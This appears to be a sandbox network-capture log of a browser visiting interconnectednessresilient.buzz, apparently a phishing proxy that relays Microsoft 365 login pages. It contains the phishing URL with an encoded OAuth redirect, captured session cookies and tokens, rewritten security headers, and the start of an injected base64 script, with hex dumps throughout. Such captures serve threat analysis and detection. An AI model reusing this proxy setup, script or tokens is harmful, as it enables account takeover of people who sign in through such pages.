https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCO [TRUNCATED]
2025-01-14 14:56:17 UTC	3195	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin, <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch, <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 41cd8af1-13ce-4eb5-a1c2-a71d18dc5c00 x-ms-ests-server: 2.1.19870.3 - WUS3 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,0,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-D0dG58YXFrWjcM3Jc9sQww' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All Set-Cookie: buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; expires=Thu, 13-Feb-2025 14:56:17 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; domain=interconnectednessresilient.buzz; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; domain=interconnectednessresilient.buzz; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; expires=Thu, 13-Feb-2025 14:56:17 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 14 Jan 2025 14:56:17 GMT Connection: close content-length: 47693 Content-Security-Policy: default-src data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:17 UTC	13189	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 62 57 39 6b 61 57 5a 70 5a 57 51 6f 4b 58 74 70 5a 69 67 68 5a 47 39 6a 64 57 31 6c 62 6e 51 75 63 58 56 6c 63 6e 6c 54 5a 57 78 6c 59 33 52 76 63 69 67 69 4c 6d 35 6c 64 79 49 70 4b 58 74 32 59 58 49 67 5a Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gbW9kaWZpZWQoKXtpZighZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm5ldyIpKXt2YXIgZ
2025-01-14 14:56:18 UTC	16384	IN	Data Raw: 62 49 58 71 56 6c 50 7a 43 6c 38 37 30 66 4d 41 52 57 46 78 43 52 4a 43 6e 35 7a 76 66 31 37 70 77 52 6f 6f 63 6f 70 50 61 73 38 49 47 6a 70 57 78 4b 77 62 78 6e 67 33 58 71 4b 62 6c 54 78 4d 4e 30 62 62 53 7a 51 37 6b 76 79 48 50 54 6a 39 71 75 41 2d 72 61 6e 4f 65 4d 4d 76 73 4c 5f 6d 48 37 6f 6e 77 71 50 34 51 61 62 65 44 6a 42 44 70 76 35 47 78 51 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 6d 6f 64 65 3d 66 6f 72 6d 5f 70 6f 73 74 5c 75 30 30 32 36 6e 6f 6e 6f 6e 63 65 3d 36 33 38 37 32 34 36 33 33 37 34 35 35 34 32 33 36 34 2e 59 7a 59 30 4e 44 41 79 59 57 45 74 59 32 45 7a 4f 53 30 30 5a 54 68 6a 4c 54 68 69 59 32 49 74 59 57 51 33 4e 57 49 30 4e 6d 5a 6d 59 7a 51 33 5a 47 59 33 4f 57 55 34 5a 44 63 74 4e 6d 5a 6b 4f 43 30 30 4e 44 41 7a 4c 54 67 Data Ascii: bIXqVlPzCl870fMARWFxCRJCn5zvf17pwRoocopPas8IGjpWxKwbxng3XqKblTxMN0bbSzQ7kvyHPTj9quA-ranOeMMvsL_mH7onwqP4QabeDjBDpv5GxQ\u0026response_mode=form_post\u0026nononce=638724633745542364.YzY0NDAyYWEtY2EzOS00ZThjLThiY2ItYWQ3NWI0NmZmYzQ3ZGY3OWU4ZDctNmZkOC00NDAzLTg
2025-01-14 14:56:18 UTC	16384	IN	Data Raw: 75 73 22 3a 22 68 74 74 70 73 3a 2f 2f 69 6e 74 65 72 63 6f 6e 6e 65 63 74 65 64 6e 65 73 73 72 65 73 69 6c 69 65 6e 74 2e 62 75 7a 7a 2f 63 6f 6d 6d 6f 6e 2f 69 6e 73 74 72 75 6d 65 6e 74 61 74 69 6f 6e 2f 64 73 73 6f 73 74 61 74 75 73 22 7d 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 6c 74 72 22 3a 31 2c 22 43 68 72 6f 6d 65 22 3a 31 2c 22 5f 57 69 6e 22 3a 31 2c 22 5f 4d 31 31 37 22 3a 31 2c 22 5f 44 30 22 3a 31 2c 22 46 75 6c 6c 22 3a 31 2c 22 57 69 6e 38 31 22 3a 31 2c 22 52 45 5f 57 65 62 4b 69 74 22 3a 31 2c 22 62 22 3a 7b 22 6e 61 6d 65 22 3a 22 43 68 72 6f 6d 65 22 2c 22 6d 61 6a 6f 72 22 3a 31 31 37 2c 22 6d 69 6e 6f 72 22 3a 30 7d 2c 22 6f 73 22 3a 7b 22 6e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 Data Ascii: us":"https://interconnectednessresilient.buzz/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":"10.0
2025-01-14 14:56:18 UTC	1736	IN	Data Raw: 3e 0d 0a 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 6f 6e 63 65 3d 27 44 30 64 47 35 38 59 58 46 72 57 6a 63 4d 33 4a 63 39 73 51 77 77 27 3e 0d 0a 20 20 20 20 20 20 20 20 53 65 72 76 65 72 44 61 74 61 20 3d 20 24 43 6f 6e 66 69 67 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 63 64 6e 22 20 72 69 63 6b 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6e 74 65 72 63 6f 6e 6e 65 63 74 65 64 6e 65 73 73 72 65 73 69 6c 69 65 6e 74 2e 62 75 7a 7a 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 7e 2f 65 73 74 73 2f 32 Data Ascii: > <script type="text/javascript" nononce='D0dG58YXFrWjcM3Jc9sQww'> ServerData = $Config; </script> <link data-loader="cdn" rickorigin="anonymous" href="https://interconnectednessresilient.buzz/aadcdn.msauth.net/~/ests/2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49969	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:17 UTC	2773	OUT	GET /favicon.ico HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCO [TRUNCATED]
2025-01-14 14:56:17 UTC	1725	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 477f31c8-5b39-48b7-a707-64344d074600 x-ms-ests-server: 2.1.19870.3 - NCUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-b3b3cJ-2hK0rbkJhmUlT3w' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All Date: Tue, 14 Jan 2025 14:56:17 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49971	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:17 UTC	1439	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA
2025-01-14 14:56:17 UTC	1406	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:17 GMT Content-Type: application/x-javascript content-length: 142388 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT ETag: 0x8DCE31D8CF87EF9 x-ms-request-id: 0fdeb317-501e-003b-1a98-5f86f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145617Z-15f8c946864lnd5chC1YTO2fww0000000cv0000000001sr9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:17 UTC	14978	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 cc cc 2e b0 5c 4e ac 80 bb 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 5f c4 38 89 2b 53 3f 4e a0 d0 48 4c c3 c7 4a 15 aa 8b bc ca a9 1b 25 4f 95 c3 53 b3 0e f5 0b a8 cd bf f5 03 28 3d 0e 67 4f f0 7c 97 54 82 30 f1 c7 a2 e2 06 1e d5 36 85 97 20 16 95 79 e0 89 a8 f2 78 e7 8f ef 2a c7 fe 38 0a e3 70 92 54 22 31 16 Data Ascii: m[80OL;wa.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDe_8+S?NHLJ%OS(=gO\|T06 yx*8pT"1
2025-01-14 14:56:17 UTC	1406	IN	Data Raw: 4c ff 33 b9 ea 00 07 2a d6 0e 48 0e 5d 0b 6d a5 1f 11 15 0f 87 40 5c c3 5f 87 3d a0 22 7d 7c 69 c7 22 50 d2 07 3f 4a ee 3c 90 e6 7b 14 7a 96 9b 2d 99 8c 64 54 30 6d 63 68 ca c8 d7 73 8c 0c 4e 90 7e 96 0a fd d6 42 52 3a 7f 0c c1 7c 24 cb 01 49 89 5f b1 75 4d 26 66 94 c3 b8 85 47 a3 c5 42 f0 2a 06 d5 a2 b6 e1 06 1c 29 8b 71 b3 ca 81 48 4b 18 2d da 77 11 87 34 87 81 16 2d a6 02 6f db 7d c2 30 5a fe f0 46 9b 64 d6 3e 5f f5 c2 74 41 04 63 b8 99 6e bd f9 05 52 3a 15 3c fc 24 16 89 33 4f 26 1b bb bc 57 e6 22 9a f6 03 5c c5 f1 f2 05 be 6d 3c 3e 3e 6e 20 65 6c cc a3 a9 60 10 a2 11 dc cd a1 7c 39 ce 73 ca 8d 0d c5 b8 29 1b c2 48 b9 f7 f1 1c 77 35 64 1c b8 25 77 24 23 87 78 30 a8 c8 3d 72 eb 8f 14 34 69 35 69 d5 bc e9 3d 78 f0 61 54 90 f8 e9 fa 9c 67 52 33 02 da 99 Data Ascii: L3H]m@\_="}\|i"P?J<{z-dT0mchsN~BR:\|$I_uM&fGB)qHK-w4-o}0ZFd>_tAcnR:<$3O&W"\m<>>n el`\|9s)Hw5d%w$#x0=r4i5i=xaTgR3
2025-01-14 14:56:17 UTC	7547	IN	Data Raw: 3f c0 1c 87 b2 6f 6a 43 93 b8 4e d5 95 64 21 fb 21 a7 0c bc 47 fe 43 f8 ed bf ed d5 5d 7a ba 94 ec 4a 96 e0 44 da d9 53 75 9c 12 b1 3b 28 d1 8f fc 7b 1f 74 20 56 ae 70 a3 3a 4e 6d bf df a9 e5 a7 78 98 84 33 63 15 da e5 ed 6b 9c 79 78 f8 9f f6 63 45 33 f1 4c ac 1f c2 53 ae 19 6a 2b f8 ff b7 6d c1 63 ba fe 72 5b 24 28 df a7 96 23 81 15 a2 fe 59 f1 89 d0 f9 23 28 a3 af ac a1 76 d2 5d 1a 5d 7b a9 f1 44 72 7c e9 1c 6a 5f 4b 02 51 35 0c 50 61 7c 1f cc b0 f2 92 38 54 92 38 bc 4c 94 24 0e 75 49 6c 5a 99 94 70 bc aa a1 9e 0d 99 c1 1b d4 40 0e b9 54 ab 0e 57 96 45 c5 48 4e 91 1d 27 bd 07 58 60 29 31 03 ed 07 ca fd 59 40 3f 9e 8d 6a 3e 4f bb d3 22 9c 96 6d 87 eb eb 61 95 46 96 4e 24 b8 15 bf 29 06 c7 cf 16 d3 54 bf d0 aa 87 f1 90 07 b8 c9 1e e5 13 15 28 1d 89 48 c6 Data Ascii: ?ojCNd!!GC]zJDSu;({t Vp:Nmx3ckyxcE3LSj+mcr[$(#Y#(v]]{Dr\|j_KQ5Pa\|8T8L$uIlZp@TWEHN'X`)1Y@?j>O"maFN$)T(H
2025-01-14 14:56:17 UTC	8837	IN	Data Raw: 9b 7b f7 fe b6 8d 24 6d f4 ff f3 29 28 ac 7f 36 10 42 b0 e4 24 33 13 d0 08 7f 8e 6c 4f 9c 89 2f 6b c9 49 66 64 8d 16 24 40 09 16 05 70 00 50 b6 22 f1 bb 9f 7a aa ba 1b 8d 0b 65 67 76 ce 79 df d9 8d 05 02 8d 46 5f ab eb fa 14 cb fa 54 d4 18 08 f8 bd 54 11 0f 51 f0 0b d1 21 72 26 04 42 13 0a 66 12 85 cc 80 77 f4 df d8 e1 27 36 24 08 48 d0 51 1c 68 e9 4b 4c cc 44 11 79 68 de 44 37 5d 9a 0e e0 ab 2d dc 0b 35 6e e3 7f 6a ad 46 3e 16 fa a2 8f 2a 4d b4 15 89 34 04 48 ee ee a2 b0 76 ff a1 9a db 47 39 13 f8 ad 14 f7 8d 1e 3c ee f4 51 84 89 0f 5e c6 ca 83 47 c1 76 38 93 37 c7 47 27 fc 8c 8a bf 8e 3a 14 c8 4d 